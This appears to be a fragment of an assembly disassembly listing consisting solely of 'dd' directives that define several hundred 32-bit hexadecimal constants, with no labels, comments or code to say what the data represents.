dd 17EFF698h, 8A0FC543h, 6B00AE83h, 0DD0BE80Eh, 90E2A148h
dd 2C6867DFh, 0A1F607D5h, 0AA20D24Fh, 0D8D21C4Fh, 6A77AA28h
dd 80D7AA5Fh, 0A84B6264h, 5481D4D8h, 3BF00A6Ch, 0ED063A14h
dd 0A2BE4345h, 77AA3751h, 9E24F412h, 44DC848Ah, 0C547EAF6h
dd 0D9E482C3h, 0AA0D440Bh, 0FE2097A3h, 9268EBC0h, 0D20BB373h
dd 918B4A4Ah, 0F131EC4Dh, 0E2C4A527h, 9E3F8DDh, 0CAB183E8h
dd 212F4D28h, 0CA4A92A6h, 0EB9A5B1Ch, 0C40025CEh, 0AE298FDEh
dd 9142D258h, 1B27D80Ch, 0D2E9746Bh, 0EB3E5C5h, 2BB3BC2Eh
dd 2F372D2Bh, 0BADA333h, 8E7AEA47h, 3783B557h, 78CBB114h
dd 0C55DC527h, 170E899h, 0B926683Ch, 0DB72EAEDh, 8A2A9E77h
dd 0D0DF652h, 0D884A735h, 86540EA2h, 1EF4DBEDh, 0A2B4C2EEh
dd 6A7182CCh, 6A20016Ch, 69A65161h, 0BFE776DBh, 4E67F04Ah
dd 5B914949h, 0A2DE41EDh, 2484D36Bh, 0B332D2Bh, 67C7BA4Ah
dd 0E4976416h, 0D696F7C0h, 6FBC4BAFh, 0C4C880F2h, 0AA37BB48h
dd 9C29CC2Bh, 5B9D9B91h, 9C579692h, 9111E40Bh, 23DF985Eh
dd 949193C6h, 0D2539D9Bh, 80B33B23h, 5620C4ACh, 0BFE3CC3Bh
dd 0D236FDFFh, 332F883Ch, 0B33D373Eh, 5FF99DC0h, 0B77BC76Eh
dd 893B6ABEh, 0F9D969C5h, 0A0ABAA69h, 0F03A7BB0h, 8DC92648h
dd 67774426h, 43D569BDh, 77429F54h, 85B2EA89h, 9DA4072Ah
dd 76966E47h, 0E2B5C48Fh, 0B48DE208h, 0BCBCDC8Ch, 0FEA498C2h
dd 9A08983Dh, 522B2014h, 0AD2C708Ah, 1452B3C8h, 0A647B69Dh
dd 0BCFC84EBh, 3372556Eh, 0BB33F372h, 1AC9F2B9h, 0E2B4A2A6h
dd 99C51E92h, 4650A164h, 0E6495737h, 5D1E9284h, 6C7798D0h
dd 0D54162C8h, 34568D93h, 0DB643A57h, 9462599Dh, 97756496h
dd 40712E51h, 13400A72h, 93EAE7F9h, 0EDE89292h, 0C2644DCBh
dd 0F2AB83E6h, 0C6615440h, 85D33B44h, 492FBB4Ch, 0C3245999h
dd 6A5C0C85h, 425E5A6Eh, 0CCE8FE69h, 7704D762h, 0DEE4AAEh
dd 0DC136119h, 2447AA19h, 6E0ECCC3h, 0CC53E5B4h, 17A5CB69h
dd 5FCEEAFBh, 0E52AE54h, 1BDD49B5h, 0EA2FF754h, 69D650DFh
dd 0ABABC323h, 0A2B7517Fh, 0AD27538Ch, 579FFF38h, 71542CAAh
dd 8D6499ADh, 46667A5Ch, 352FA71Fh, 0DEA9705Fh, 15C2C6E3h
dd 0C6BB90EDh, 97FEC819h, 70B1B9DAh, 85193B45h, 0C8F20BE3h
dd 62BFA3BAh, 9F21657Ch, 7662331h, 0E397FBFAh, 3D3194E5h
dd 0C59D4A75h, 0C5517F03h, 3CE2A45Bh, 0FB1B5E45h, 0CA2A9517h
dd 3D036338h, 0B3C92DC8h, 54D64517h, 0C82DCECFh, 4AC233CDh
dd 0F5859010h, 0A91FF1B0h, 0AF2FE63Bh, 0B5C54C68h, 0B0E70BFCh
dd 0E729546Bh, 734A2DD4h, 1617C7BBh, 25D5FC67h, 757C4539h
dd 86E99FE4h, 0FA50FD7Dh, 0E05AB702h, 0F5AF0D66h, 1A399F1Bh
dd 0E56B254Ch, 210C2A23h, 0DC45EECh, 864D1156h, 3CABE7D9h
dd 3B51DA0Bh, 0BB2DC1B8h, 48218F55h, 0DD968AFh, 0E69F97E3h
dd 7251C08Eh, 38B0A228h, 0B81636DBh, 0CC2F4E8h, 9847AD74h
dd 6BC436Dh, 5C9D9BC4h, 0F79E1132h, 2C056BDFh, 571C9AF0h
dd 9611866Eh, 0B987419Bh, 0C5A90E9Ch, 46258585h, 0EB94ED18h
dd 0D066E051h, 217EC76Bh, 0CAEFB3C3h, 32CCCE29h, 9A91DAC2h
dd 0E9D73C3Dh, 0F7F98AF0h, 41EBE579h, 0D0363CC2h, 13FF9A7Bh
dd 5C7B0B57h, 0FA7AEACDh, 0ECA9918Ah, 11F1F8EBh, 1BB39E3h
dd 1E99A696h, 27C7FA43h, 0CF778DDBh, 8494D675h, 0F8CBD4F9h
dd 13ECF5E7h, 40DDD5EBh, 0F71FB195h, 0A7875CAFh, 2C3AF79Eh
dd 0F38D7094h, 0C234158h, 0E5CC26DEh, 2C2354BDh, 7757A535h
dd 6D32CC39h, 4B9595FFh, 0C988E4E6h, 95341370h, 0C42DC249h
dd 0C4F9BE00h, 0FAF15667h, 0A1AB0515h, 55506A01h, 0AE515EAFh
dd 7C47B79Ah, 2A448158h, 93A0F8CAh, 9C5855Eh, 67C42985h
dd 0D72F18D9h, 52AD2EEDh, 0C8AE2A94h, 0EA8F52ABh, 22E6EEE0h
dd 18B03C13h, 11A8D794h, 7B1547Eh, 0C4377D76h, 9954A29Ah
dd 0C6DFF0A6h, 9F3D865Ah, 58099253h, 5B2F6257h, 3CE4501Ah
dd 835142B6h, 12E212E3h, 0E0EC5362h, 9CED83D5h, 7544E01Eh
dd 92EBB83Bh, 0AFCF5673h, 0EEE981C4h, 8E0F52E2h, 0E5EDF677h
dd 444D0E2Eh, 0A5963EC6h, 0E93B9ECCh, 0E54B8891h, 0A7DB837Ch
dd 62B4F9D4h, 0E754639Eh
dd 0DE4D1647h, 6EDBEDC8h, 41BCE7CFh, 5EDDD495h, 0E179EC3Eh
dd 9A3DD3D0h, 0BC6F8D05h, 0EE5D94FFh, 7F22AA63h, 28DA109Eh
dd 0F15B99CDh, 67A9CDE6h, 0BD247DD7h, 3198EF9h, 5E070AD7h
dd 691698E2h, 0F15C4FF5h, 0ECFE45D6h, 7D87CFE1h, 8098CB6h
dd 0FB1D271Ah, 0CFEB6A21h, 8E3F4321h, 8592590Ch, 0FABF057Eh
dd 0A517DF42h, 4587AF03h, 0F36A2934h, 0A7A8D5FEh, 7B76054Fh
dd 24B1BBB5h, 6F97636Bh, 0ED6F8259h, 0CA9AD8A9h, 8E5D885h
dd 62941BB6h, 8C099A4Fh, 45D992C2h, 5E381641h, 95912566h
dd 68944564h, 5E38E64Eh, 225A0494h, 0D1B173F3h, 310949D1h
dd 287B1304h, 8BAB1E7Bh, 0BF89BF3Dh, 0D4695979h, 7420253Ch
dd 2B237E02h, 65267616h, 9102CFDAh, 0C5CA9F79h, 9275889Eh
dd 19F64210h, 2D48DA4Ch, 0ACF0CDCDh, 93A5F300h, 94155C89h
dd 2A8DC478h, 2E2F4A2Eh, 81AB3DE1h, 93BBB83Ah, 69F1502Eh
dd 0CEA5D905h, 314D357Ch, 14714B14h, 4894094Fh, 294C9449h
dd 45152454h, 35F7DB45h, 4A5A69ECh, 11507AA5h, 246A7754h
dd 0A91D5165h, 6737C97Bh, 1FDB9EDh, 0B47AECF6h, 0CC812773h
dd 0F29993FCh, 42DEFB44h, 0D01EE71Fh, 2311B6CDh, 0AB444622h
dd 8AF6D9C0h, 42DCA8CEh, 0D7D8C77h, 7195FB95h, 8C6E178Fh
dd 443C2EF0h, 414F08F6h, 5DF3BCAh, 9FD5525Eh, 0E9EB22C5h
dd 0CFE911FAh, 2CCF58E3h, 0F38D780Dh, 9A19F626h, 191D171Ch
dd 3714931Fh, 0BA269628h, 0D56B6053h, 0B202DCE0h, 2A9ECE4Ah
dd 3E07CE4Bh, 131C941Eh, 3D826831h, 985716B7h, 0E71A3A5Ch
dd 91B4E11Ch, 34511FDCh, 42B1DB8Eh, 4C5C7274h, 6F3F725Ch
dd 0C69F64FBh, 8E4E0DB5h, 4CCBCE8Ch, 0B22D282Bh, 3412E4E9h
dd 82E4E849h, 92D4A2FCh, 0B901BCDCh, 0F9D10919h, 0D1FBBE45h
dd 0EC837E64h, 0C004EC7h, 2B6FD727h, 0D23CB56Eh, 910FE24Bh
dd 6B945697h, 742E6C0Fh, 34773F3Ch, 8A6519E3h, 4766EF1Ah
dd 6E19577Ah, 61CCF78Ah, 3FCC7DD5h, 0F2680974h, 8F6B8126h
dd 2CE87FAh, 0B94D564Dh, 9687F817h, 64DF2680h, 0FF71F3FDh
dd 0E4D00CD0h, 910DE2E5h, 7C9A089Fh, 6827ADADh, 0D06D741Dh
dd 0F6E822Fh, 0EF4083Ah, 3740F5D0h, 0A16CDD00h, 7EA5E87Fh
dd 9DE4A101h, 0FF223FE4h, 0A046E814h, 23E833Bh, 0AFFB7C9Ah
dd 16CCA35h, 5E7404DDh, 32E85FB9h, 6F414DD0h, 741F3D03h
dd 4E536233h, 34E87FAh, 8BA1DCDDh, 3D00B740h, 80877519h
dd 0D86B9F26h, 6827BA04h, 0D4ECBAF2h, 0DB42FD07h, 0D0E56E83h
dd 835BA0A1h, 87F91796h, 101BE95Eh, 0A7F406DAh, 2680CFA0h
dd 788965EFh, 3F743FC2h, 463F7268h, 0BA1FE5AEh, 0D05B741Eh
dd 85F8B633h, 61D012Eh, 0E806ABFAh, 0E476E803h, 0FF7CC23Eh
dd 0EDD01CD0h, 0BA8EBF41h, 0FC89A0F1h, 1E7C87DFh, 3E079934h
dd 6839BA04h, 0BF53AA8h, 0C9A052EAh, 0FEE8EB7h, 0E8DEF1B9h
dd 3DCF38B9h, 7EA5F3CAh, 7A1D47A1h, 0D0BF38E3h, 157D0E3Dh
dd 0AE876AF4h, 742FDE3Bh, 5DF43B1h, 1F439A7Ah, 9A17E099h
dd 0CD3FD0E3h, 0E3ED0BF7h, 0FC4BFDD0h, 0FA1DC342h, 1CF5D05Dh
dd 75CE1FBAh, 7D254FA1h, 59FA1D4h, 0BF27C3BDh, 7333A1DCh
dd 3A1742FCh, 9C62A2F4h, 804FA1D7h, 38E873CEh, 10E85FB7h
dd 74127E87h, 57F438Ch, 2EE8769Ah, 5B42FD13h, 0C9E6F439h
dd 6F438FE8h, 7A17EA9Ah, 0FFD3B7A5h, 0CF42FCFBh, 69DB743Ah
dd 1F439BE8h, 0A1C3BD07h, 0DF474C3Bh, 0E8117A1Ch, 19FCDE85h
dd 1C53A17Eh, 8674163Ah, 1D05AF43h, 3345D0EFh, 876542FDh
dd 0E5DA07DEh, 0F9662DD0h, 0F4390685h, 4FE0D9F2h, 3C9D0F2Fh
dd 0B8F42FC7h, 0FE403743h, 833E877Eh, 32DE2DFCh, 1C8C63F7h
dd 0CBD041FAh, 0E8377A1Ch, 76DD0EF9h, 2CE85FAEh, 5D038E87h
dd 0D06ED0E2h, 0CFD0E19h, 0FE8714E8h, 874F741Dh, 2FC07E8Eh
dd 3F439BB4h, 43B9BA0Ch, 5FB0FC7Fh, 5F43A068h, 0D62E7D04h
dd 0E023E7E9h, 0A0B3439Bh, 32743977h, 3D0ED5E8h, 8742F415h
dd 8A7A055Eh, 9D02EF43h, 809FD0E3h, 9FE8714Eh, 0E874F741h
dd 7F451FDBh, 0E83DBA1Ch, 806D0E56h, 83D0E7AEh, 0F1895F40h
dd 0CFA085D0h, 0D05CF439h, 79FA1DC7h, 0FA1C7BD0h, 1C9BD04Dh
dd 2BD04BFAh, 0E42EBA1Ch, 6743BE79h, 73D9043Dh, 0EDD0EDE8h
dd 87E873Ch, 0B7438A74h, 0A1DD1944h, 0C24F05DFh, 947BFA1Dh
dd 6FD0EE69h, 0F439BE10h, 0A297D05Eh, 0A0FBF43Dh, 3F43B8Fh
dd 0D155FB0Fh, 0FE4E3DD5h, 0C2BFB40Ah, 6DF419A1h, 82A7439Eh
dd 89E8712Eh, 0F43887A0h, 3A7BA0B3h, 0E1D056F4h, 0E811FD0Eh
dd 43D0EE6h, 0E8740B7Dh, 42FF68B3h, 336E8794h, 0C81F6AAFh
dd 0F639CA76h, 8F5503F1h, 53F2741Dh, 438B6750h, 997A083Fh
dd 3D02EF43h, 7083A1D7h, 9D0E256Dh, 473AED58h, 0E1887F21h
dd 2265231Ch, 7A0EB43Dh, 47C7A46Eh, 165E8384h, 0DF437019h
dd 0E8F2F88h, 0C2597E79h, 7F4FC58Bh, 0D4382ED3h, 50AC9F7Bh
dd 0E7333E9Eh, 0BF8BF1E1h, 0BDA08809h, 6F9B8379h, 0CFFEA57Ch
dd 0BACB0785h, 5C5BB07Ah, 0E1BAD970h, 2BD6ABABh, 0BF3F5E0Ah
dd 0FEF7195Fh, 0EB831D73h, 0F73D538Ch, 233790CBh, 0D9F5CCBEh
dd 6BB57AEAh, 5B380A0Dh, 0E6AB2381h, 7E69BB5Fh, 7D1B838Ch
dd 0BC9C92F3h, 0CBF3FCA9h, 71EECE47h, 315F7BD0h, 13F97833h
dd 0D876D783h, 0ED51B3B7h, 9E6EECC0h, 73C95773h, 0EB5D93FAh
dd 9F83D995h, 0AD6FBEEFh, 0FCB35F83h, 70335D5Fh, 0DBEC055h
dd 8B8202CDh, 0AFF6569Bh, 1BB5FE6Ah, 35EB83F3h, 0C4E7549Fh
dd 9FF7C90Fh, 8B6F2E6Ah, 5A6571B4h, 0FACB8D8Bh, 5DDAD596h
dd 0CB7EB5DEh, 9D0E3BE8h, 0E08D3BEFh, 1B90C8D9h, 31B89FF2h
dd 4F93587Fh, 0F8DD49BFh, 0AF3A9B45h, 0D93F0572h, 5534F658h
dd 0E362BC18h, 0BFED55C8h, 0B3B5695Bh, 0E709DE79h, 0FCBC1B1Fh
dd 6175F8B1h, 42F1B687h, 63D0B4A3h, 3ACE7AA7h, 4EEEA6D3h
dd 0FE2F1EEDh, 9B4F35C5h, 7FBEDF3Ah, 0A2B3253Ch, 0C516976Ch
dd 0E4F057B7h, 0D91BE1C9h, 7B3B2BDDh, 7020B1C6h, 65794BD3h
dd 821DBEECh, 38EF0B5Fh, 818CCCA2h, 581DBA6Bh, 0C9A22ED5h
dd 0D79536D4h, 379FC8Eh, 567BF057h, 1C340487h, 61C4ECDFh
dd 0ACCF5E2Fh, 0C8F965BDh, 2EDF8DD5h, 566BF70Bh, 579D86D1h
dd 0DD4BDF7Fh, 0ECF1E73Ch, 0A6507B53h, 20A5AE2h, 0BF1B2D5Fh
dd 757875C6h, 0CE2FB7A8h, 0FB956DFEh, 0DDB89BF9h, 95425CABh
dd 76BC9E3Ah, 65DCF255h, 752E4E3Dh, 3FBBD4C6h, 0FC7F67D7h
dd 97B788F2h, 3DF7DB56h, 0F733753Eh, 0EAA14AE9h, 55793C79h
dd 45E533CFh, 24B96F61h, 6AAF24DCh, 8796FBB9h, 0B0B2A1Dh
dd 0F8DD9D6Dh, 9B22D5D0h, 0E437914Fh, 19F93967h, 47AB6581h
dd 43EE726Eh, 255BB23Bh, 0CDD91CFh, 0DE65ADFFh, 0A5D5F2B1h
dd 6ED7F9AAh, 25D5EF9Ah, 9F24BCDFh, 722F09BCh, 77EEBE9Fh
dd 0F9C5687Bh, 0F39CF37Dh, 69BDAD4Fh, 0DA57C0CDh, 0B045B2DBh
dd 0DBDAD4E1h, 0EB2F0E37h, 0ECBFB3E2h, 7C9BC195h, 18AD978Fh
dd 8B23C2B9h, 1DAA0353h, 5639F00Bh, 0E186CB7Bh, 0A6F4BD6Bh
dd 2F3F8657h, 6FCB9454h, 84DD71B9h, 0F21FBB17h, 5AF8F9EAh
dd 3C2596DBh, 67687E11h, 0A93AA050h, 77FDE559h, 1D59B96Fh
dd 0D49BD61Bh, 5E27F8E4h, 5F96ACD9h, 7585B321h, 0B8393D57h
dd 1D66FC4Ch, 5F733EB9h, 0F2553B45h, 0FDA9FCBDh, 3741C6C2h
dd 7F47A739h, 0B2EEF6Bh, 0FD3AD1EBh, 1562E876h, 77C9F77Dh
dd 73FA1DF4h, 0EDD5E0FFh
dd 6A97ACAFh, 5A4AC857h, 871B2DEDh, 0BDBD75CFh, 5E656BA6h
dd 6B559B56h, 0BD872F06h, 0AF99E8F3h, 7FFA91FEh, 0FB6A332Eh
dd 779203DAh, 0BD446569h, 3C7571A0h, 62DA54E3h, 73E1E6E7h
dd 76ACF7C2h, 0F828BBE4h, 1E5F32D5h, 52AFF656h, 2AF32B8Eh
dd 0C5A338E5h, 2FC515C6h, 2E513BB6h, 0DB22ACB4h, 0C6329E4Eh
dd 792A9591h, 5D790DEAh, 27C136BDh, 35B1F0CFh, 0BB7D46C4h
dd 8B685DA6h, 36154151h, 5D8F66Ah, 11BF6F81h, 6A68DA11h
dd 92A713D3h, 0FE413D1Dh, 0C357C4ACh, 1CECAC4Fh, 0C86A62D2h
dd 3BA9CBB9h, 32EFD7CFh, 6F7B63CDh, 0BF89EC7Ah, 27CF6638h
dd 0E6D6AC6Ch, 7753E7B7h, 36120A9Eh, 2798AD36h, 0AA71F9B8h
dd 0E698F8E2h, 0D88C560Bh, 6AF0F1DCh, 171E0D81h, 0F57D954h
dd 5A1D1B3Fh, 45B4DE11h, 0BE8746EFh, 0AF8AF5EFh, 0B5D9346Ch
dd 0B9A02C3Dh, 82E30797h, 5E0F56CBh, 546EF18Bh, 1DDC7837h
dd 0D92D7395h, 0BE6E768Dh, 543B9CA7h, 0F63CEDEh, 0B35CA2Bh
dd 0E6D4546Dh, 2CAF55E0h, 1B057293h, 0CD5DDE23h, 0CF1CA837h
dd 4CD7DBBAh, 0BD7F2CD9h, 46229692h, 0C937C8FAh, 0FD99BA9Fh
dd 0DA97656Ch, 1CDB3DC1h, 0E9B094BAh, 33FB758Ch, 0D8D3E1Eh
dd 0E4EAF2D8h, 0EDA1C2B5h, 1B83B3F0h, 9F45FE7Eh, 933E9EF5h
dd 6EB2BCFCh, 0ABB557BBh, 0CE377C1Dh, 99FD6BDBh, 18F9DE21h
dd 0FF1A1ACFh, 0DA85DB93h, 13E9B30Dh, 74FB7BBFh, 5B763A93h
dd 0CDF7AA4Bh, 0C0B4B1D1h, 2F86EBADh, 69AD0E17h, 0B8C7BF54h
dd 4FBE073Ah, 0CB68F875h, 89D75CF2h, 0F0407435h, 0F3E3F938h
dd 74CFEB71h, 0FA7BD714h, 0FE79D25Bh, 0D88BBE8Ah, 371BDB43h
dd 0FB6E860Dh, 0FEC2C9EAh, 0AF9FDC65h, 2C37B70Bh, 7B1FDA71h
dd 0DAACBC93h, 6E2617DBh, 19787F6Ch, 5A45B4DFh, 32B89F8h
dd 0D152FE37h, 305B1C47h, 0A7F8557Ch, 568587AFh, 0DD514FE9h
dd 5E0FF765h, 76D0F1DBh, 0D4C9B429h, 454EDF90h, 28F0F16Eh
dd 8CDD7FC3h, 6F6175A4h, 0AF2C7579h, 4C8F53CBh, 8556A47Eh
dd 53FB231Dh, 0FA76DF66h, 19BCEF7Eh, 88CCFBE9h, 0D63A2BBDh
dd 0E1B23E6Bh, 0F97BDFFBh, 0C6DBB536h, 75D753CDh, 0F9DE5BDBh
dd 93527A36h, 0AECFDD4Ah, 0FC797CF5h, 0ED151EBAh, 62B5A98Dh
dd 0DDD5C8F3h, 466D5CBFh, 736ECEB4h, 0F8DCA2A8h, 0F5D73B5Ah
dd 53DAE4DFh, 0D1F43186h, 9507C7B1h, 94F3DF75h, 71CEFF50h
dd 0A5F70741h, 0E034657Bh, 0CB4375D5h, 0DED81CEAh, 0B4EB49AEh
dd 8E9CBF36h, 68C8E1D9h, 0E1F2AAE0h, 0B93A34AFh, 0FE1573AAh
dd 0D2BE1ECDh, 0EB8CB275h, 0EF1EE2DCh, 59705E7Ch, 75AD90F9h
dd 0AE77AD0Fh, 1E4FB2A9h, 0B531D79h, 0FB4D7CB6h, 0AC0F5FB7h
dd 486A675Fh, 0F8DEFCE5h, 740AF96h, 0B4EFD46Eh, 0A42F8D80h
dd 0E8388CCEh, 0F9DE5BB5h, 7CE2C890h, 0EDD49B72h, 2A822676h
dd 55AC49F6h, 142DBDE5h, 0B8E47235h, 5B169D1h, 793FDD36h
dd 0FEA0D450h, 3F9DED22h, 4F9DE31Ah, 738DDA72h, 0B2EC2BDBh
dd 8B138B33h, 0CBF6DD33h, 0F101A81Eh, 62138331h, 44069312h
dd 9517EE83h, 0C032929Ah, 3D156F5Eh, 33D62620h, 16BBE76Bh
dd 7A746D32h, 0D3966646h, 3B12CF47h, 8A6639FBh, 5BD79F2h
dd 0B72D3FD5h, 0E6979C0h, 0FF594779h, 0F89884C8h, 7B5884B8h
dd 79DF29BEh, 7488C755h, 11EF79FBh, 2AB139DEh, 0CB76DCC7h
dd 3D98BC23h, 4A7FA932h, 590A726Ch, 7DBF6866h, 0B175E492h
dd 0EDB4D310h, 7EE64E90h, 640EAD53h, 0EF751819h, 8C7AA3BDh
dd 0F2CEDA42h, 8C8D1FAEh, 2B224989h, 1DEB3C6Ch, 50A6A407h
dd 18F79411h, 0CDD5DB59h, 2C4A9FFBh, 0E624E775h, 6BE45016h
dd 111111EBh, 535F6314h, 0FD867161h, 59371CDAh, 959E76Bh
dd 5571FF66h, 0FFB583ACh, 84545CB8h, 64F11B87h, 6943B3CEh
dd 32DE7B0Fh, 0F22992D5h, 61496224h, 26352BB1h, 585455D1h
dd 90EAE25Ch, 9EE7B2E1h, 0A5195C33h, 5FF96499h, 0F8D7926h
dd 52BADBB2h, 16E6278Ah, 0E2BC9364h, 99E4EECCh, 0E711D24Bh
dd 7475ED7Ah, 0E48D63F6h, 1DE1F3E9h, 0D672EE32h, 0A5E656EEh
dd 219CB793h, 0F6E0EA9Bh, 0DB107570h, 4DD753DDh, 1DE15CF2h
dd 0CF833B4Ah, 0DCF92A5Dh, 0AC623DC1h, 2AAECA67h, 10F91FFh
dd 37242A29h, 0CC726E0Bh, 645C8D5Bh, 0ED9563F5h, 686A761h
dd 8D075A6Fh, 0C446BE91h, 4C26CE8Ch, 31BF3324h, 8DA10189h
dd 0BBF0A3F1h, 0F4202032h, 0F0E77E22h, 15ED4C8Bh, 6A45EB67h
dd 0A3590A72h, 92A0D107h, 0EC4AB30Bh, 26E75779h, 0D406BD87h
dd 9392979Bh, 0CDCE4AE9h, 2C2F4DCBh, 0A6652570h, 5DBBE5E5h
dd 79858529h, 0C78B0BE3h, 0AC5447B8h, 0CAD7F852h, 4F88B913h
dd 7863EFB6h, 22937D67h, 0DB866DE3h, 7B2623F9h, 8FE0D197h
dd 21552A7Bh, 794AAA6Fh, 532956EBh, 0B7C90FE5h, 8A6BD8EBh
dd 85EC9293h, 0B2FD15C7h, 5DD32A95h, 170C14FDh, 628F74C3h
dd 34EEF963h, 248AD22Dh, 0AF22C944h, 0EB386D38h, 0DED32792h
dd 0A953B725h, 0C5325EC9h, 2759C687h, 78EE55C7h, 0EBDB85D6h
dd 0AE23307h, 38273232h, 5FA7DE7Ah, 0B70EBDBCh, 54E8BF4Fh
dd 0D56E9FBBh, 223BD35Eh, 513ED625h, 4F21F72h, 7A66517Fh
dd 0AF5E5A6Eh, 0D80CBCC2h, 5B9DFB1Ah, 0B8ECF26Eh, 0F7268A63h
dd 98E9A293h, 23625928h, 84925EB9h, 6454A99Dh, 66DB689Fh
dd 0E4C43845h, 14CB1BA4h, 9D79C68Fh, 9D23F915h, 0BD64F735h
dd 0BFAA48FBh, 8FBEEEBDh, 0B3DE0ABDh, 8B949FEEh, 0D057FAA7h
dd 0F6D13A9Eh, 0F64911D3h, 0D8290153h, 4AFD5CAFh, 0D5A390CAh
dd 0E5A3C7CBh, 0FE2D6764h, 0C21EFB48h, 0BDE57B00h, 0DD67BCA7h
dd 0B7E74F6Ch, 0D9E78865h, 0D6EA3F11h, 0B5BB6B76h, 0E7FEDADDh
dd 0B60CB6Eh, 3CEC3CC9h, 1BF013A4h, 7E225F85h, 86EBF13Dh
dd 9E21AB5Fh, 831DD9F9h, 376B4203h, 0CB6379FFh, 3D3E3257h
dd 110EF7C7h, 0EABE9E83h, 8B4562BFh, 0A6322B29h, 0E4F26D6Ch
dd 7B9183D0h, 0FDDE7E5Ah, 7E1B5FF5h, 0FB7DB05Ch, 198F0F33h
dd 51A7F735h, 0AFDB134Bh, 89EEF219h, 0E45349F3h, 43F3BCD2h
dd 7A9D1E2Fh, 0B45AAC75h, 56FD4982h, 0AF3C3F58h, 0F7AAE079h
dd 0FB595C3Eh, 0DF2DC5C1h, 0BEC2F078h, 0B80AFD2h, 0CD9E3FA5h
dd 0B5E9A07Fh, 9C1E0169h, 9B9FECEEh, 0BCD24B57h, 2BC90331h
dd 0FDF4185Ah, 7B8B073Ch, 50FFF8CAh, 0E6408731h, 3FB4162Dh
dd 5F8446F1h, 0BC77E18Bh, 8DBF5DFFh, 0CC81D89Eh, 7197E4B7h
dd 5F6B2F9Fh, 0B7C622BBh, 3BD666F3h, 0AD63AAB0h, 0FCCE6916h
dd 66DEDD80h, 5AF6D0E6h, 0CDB8332Ch, 0D8DE9D81h, 8F98E1A0h
dd 22BB9B77h, 0A42FFB49h, 0B13889CEh, 456863B3h, 0CDE76C9Ch
dd 82FBBD70h, 79FB27D3h, 92035E98h, 0D9264706h, 8FDEDCB8h
dd 37268C8Ah, 0A3A3A373h, 12C593BAh, 0D85F8F3Eh, 903F0479h
dd 0E3D273F8h, 676D0F0Dh, 0AA0F076Ah, 4574E873h, 0BEBC176Ch
dd 0F6A6FFBCh, 0AF091E27h, 4E67DCDFh, 0D69BCEDBh, 0FBEB71B9h
dd 0E6C6561Ah, 0EE12F59Eh, 0B97945F1h, 8AAE9925h, 0E4A514B5h
dd 418026CDh, 1544059Eh, 4E9746E5h, 266F202Ch, 3593EEF3h
dd 884DE446h, 0A0BF6D5h, 0AF3D338Bh, 0A8B2A452h, 0CA8F2A5Ch
dd 93DDEFB4h, 0E07DB805h, 0D6F78965h, 0D24B33F3h, 7685055Ch
dd 0EFBBD33Dh, 69949DCEh, 0CADBAFA0h, 3E545713h, 8A93D36Bh
dd 4A449D42h, 264F38ADh, 0AF625159h, 0B4E9E906h, 51F6F18h
dd 2C29294Eh, 6CDE6CA2h, 93EFBAFDh, 0C3D7EEDCh, 35A7053Ah
dd 1733E43Eh, 0EFCE241h
dd 19A79E55h, 2BFD72DFh, 47B45723h, 6CB557BCh, 0F2B6FF81h
dd 0F8F40FBEh, 0C18EF5F4h, 7E1BBDA1h, 0B2E8FDF0h, 75756A5Fh
dd 0FCBC5BE6h, 6BBC3FBCh, 1EC6D2C3h, 388B1859h, 90EAE472h
dd 0D43A2B93h, 0E3BD4E0Eh, 0CE5117D8h, 0F06E495Ch, 37C305DAh
dd 87B7BBF0h, 0AF3156DDh, 60F29031h, 46497777h, 0C6BAB267h
dd 90599E15h, 75E499D3h, 715771B3h, 0E31B15DDh, 7D0771D6h
dd 0D6949DD7h, 2EE75B2Dh, 772D3F63h, 799BCE55h, 5679F5E3h
dd 6D6926C3h, 3399F53Eh, 1FDFE4F5h, 0B8C5ADDEh, 0A173BD3Bh
dd 369F594Eh, 468F79BDh, 0BC62D1DCh, 772BD793h, 1DE7B442h
dd 3CED9592h, 6936F1D4h, 9DA7BF9Ch, 2D56B5F1h, 0C0E5EBBBh
dd 35852F23h, 0F8D49A0Ch, 697E4AFDh, 3EF72E3Fh, 997A0273h
dd 0A6DBBD0Fh, 7DE732EDh, 0F43E53E8h, 4D3A0AE9h, 7E2B3859h
dd 0F8C54463h, 0BAE4E4A7h, 85C5455Dh, 0F969C5D9h, 89B4FCAEh
dd 0BC82C2AEh, 99D1AE89h, 2D2E2AEh, 61715657h, 95CD2BBEh
dd 0CAE51C9Ah, 1BA2DFB0h, 0A8BEB681h, 52646B68h, 0ACBFF632h
dd 0E7DC3B6Ch, 0E595E13Ch, 53226312h, 0B69A6922h, 0B7DC2765h
dd 0FA1F19FCh, 6BFA1F2Bh, 9F1BFA1Fh, 43E338EBh, 5743E57Fh
dd 6C71CF96h, 0BD2718C3h, 873349C7h, 1DB969DAh, 0B8D5925Bh
dd 0F1E489D1h, 39D32A4Ah, 0E4A4E19Eh, 0B0AE5A25h, 6EB0EE0Eh
dd 0D2EF2CAEh, 190BB279h, 0CECE6272h, 0C13C65BEh, 50891E6Eh
dd 0F3600A7Dh, 0A7CDE329h, 643E9DB2h, 0BACAE73Bh, 0E29F5AABh
dd 189227FAh, 4F6EEB3Ah, 2748D67Eh, 4EA4E21Dh, 7EA72CFDh
dd 64D8BD45h, 34AAD9FBh, 0DDD47F27h, 484DDAD5h, 46052548h
dd 6483C0DDh, 351F38F2h, 0A8CF39CAh, 0E71C3721h, 7D9F71C8h
dd 7DBEDAB6h, 9CC351DEh, 0D3F9CEFAh, 270EF49Dh, 0BFBD526Dh
dd 76EDFD51h, 0FAFAF71Ah, 898E57A2h, 90414DDDh, 0DB29D8D0h
dd 0BFD7D7ACh, 0BE818F79h, 2F3A5E0h, 7232BE67h, 6ADEFB2Dh
dd 0A93C6841h, 92CF89D9h, 900F9EB6h, 943EB99Ch, 4EB2A9FBh
dd 0A98C5EA5h, 0A4B2FCF5h, 0CC543B17h, 55EB3539h, 7ACD1BA9h
dd 2BA1F69Dh, 0E6F61665h, 431BE1B5h, 57EEBDF6h, 4754CEBFh
dd 0AAF59BC7h, 16D2AFD4h, 7D0DD65Bh, 6D89FDA2h, 921BF511h
dd 32A8D239h, 0D66A3D8Fh, 0EDBE47CBh, 0CBA23239h, 0AB8F9BB5h
dd 0CF8CE368h, 0A1F2BEF9h, 59B8652Bh, 0CD9F8788h, 8EB49C82h
dd 5275D693h, 9D4D4787h, 8ACDB0B4h, 0ED6579CDh, 3CE4ADF6h
dd 0C9C0D7D7h, 0D8AF4CF7h, 3CBD0E4Bh, 977B76F8h, 6C62D8Eh
dd 0B51BDF1Fh, 0E75FD3D6h, 90F25079h, 126F3DA4h, 146DD4EAh
